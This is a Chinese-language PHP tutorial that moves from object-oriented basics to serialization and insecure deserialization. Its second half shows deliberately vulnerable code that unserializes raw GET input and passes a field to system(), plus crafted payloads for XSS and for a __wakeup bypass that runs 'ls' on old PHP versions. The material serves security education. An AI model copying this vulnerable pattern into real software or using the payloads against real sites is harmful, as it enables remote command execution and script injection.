serialize()
函式來實作序列化,透過string型態做傳輸,當要被調用時,再透過Deserialize來處理來自維基
<?php
class Student {
// Properties
public $name;
// Methods
function set_name($name) {
$this->name = $name;
}
function get_name() {
return $this->name;
}
}
物件(object)
new
,可以產生出不同的物件<?php
class Student {
// data member
public $name;
// member function
function set_name($name) {
$this->name = $name;
}
function get_name() {
return $this->name;
}
}
$stu1 = new Student();
$stu2 = new Student();
$stu1->set_name('Allen');
$stu2->set_name('Bob');
用一個夾娃娃機的例子來舉例
而封裝就像是夾娃娃機,你必須要用正確的interface去取要的data
舉個例子,學生的名字
<?php
class Student {
// data member
private $name;
// member function
function set_name($name) {
$this->name = $name;
}
function get_name() {
return $this->name;
}
}
$stu = new Student();
$stu->set_name('Allen');
// 必須要用正確的interface access
echo $stu->get_name();
// 而不能直接access
echo $stu.name;
可以透過繼承,來擴充原先class的功能
在程式設計時,可以透過繼承來把相同屬性的東西歸類為一個class,再透過繼承來擴充不同的功能
舉個例子
<?php
class Fruit {
public $name;
public $color;
public function intro() {
echo "The fruit is {$this->name} and the color is {$this->color}.";
}
}
// Strawberry is inherited from Fruit
class Strawberry extends Fruit {
public function message() {
echo "Am I a fruit or a berry? ";
}
}
$strawberry = new Strawberry("Strawberry", "red");
$strawberry->message();
$strawberry->intro();
// Banana is inherited from Fruit
class Banana extends Fruit {
public function message() {
echo "I'm so Sweet la!";
}
}
$banana = new Banana("Banana", "yellow");
$banana->message();
$banana->intro();
?>
來自w3schools的例子
move
(interface),在不同的動物下會有不同的實作方式>?
class Animal
{
public $name;
}
class Dog extends Animal
{
public function move()
{
echo '跑';
}
}
class Bird extends Animal
{
public function move()
{
echo '飛';
}
}
<?php
class Student {
// data member
public $name="halloworld";
}
$stu = new Student();
echo (serialize($stu));
//O:7:"Student":1:{s:4:"name";s:10:"halloworld";}
O:7:"Student":1:{s:4:"name";s:10:"halloworld";}
O:7:"Student:1"
{s:4:"name";s:10:"halloworld";}
name
value
針對不同的Data type,會有以下的呈現方式
<?php
class Student {
// data member
// public, protected, private
public $name="halloworld";
}
public | protected | private |
---|---|---|
{s:4:"name";s:10:"halloworld";} |
{s:7:" * name";s:10:"halloworld";} |
{s:13:"Studentname";s:10:"halloworld";} |
<?php
$str = 'a:3:{i:0;s:6:"Google";i:1;s:8:"Facebook";}';
$unserialized_data = unserialize($str);
print_r($unserialized_data);
# Array
# (
# [0] => Google
# [1] => Facebook
# )
?>
__construct()
unserialize()
不被觸發__destruct()
__wakeup()
unserialize()
時會觸發__sleep()
serialize()
時會觸發_toString()
destruct
處理,趁機打出洞來$test
這個參數我可以構造,使$test
在unserialize的時候能被執行<?php
class Student {
public $name="halloworld";
function __destruct(){
echo $this->name."<br>";
}
}
$stu = $_GET['test'];
unserialize($stu);
?>
<?php
class Student {
// data member
// public, protected, private
public $name="<script>alert(1)<script>";
}
$stu = serialize(new Student);
echo $stu;
# payload: O:7:"Student":1:{s:4:"name";s:25:"<script>alert(1)</script>";}
PHP before 5.6.25
當serealize()
中個數的值>真實個數時會跳過__wakeup
的執行
serealize()
解析失敗時,__wakeup()
不會被呼叫example
<?php
class Student {
// data member
// public, protected, private
public $name="halloworld";
function __wakeup(){
$this->name = "wakeup!";
}
function __destruct(){
system($this->name);
}
}
$test = $_GET['test'];
$test_user = unserialize($test);
O:7:"Student":1:{s:4:"name";s:2:"ls";}
wakeup!
,拿去執行就壞了
O:7:"Student":2:{s:4:"name";s:2:"ls";}
還有關於其他反序列化的洞,可以看看下面連結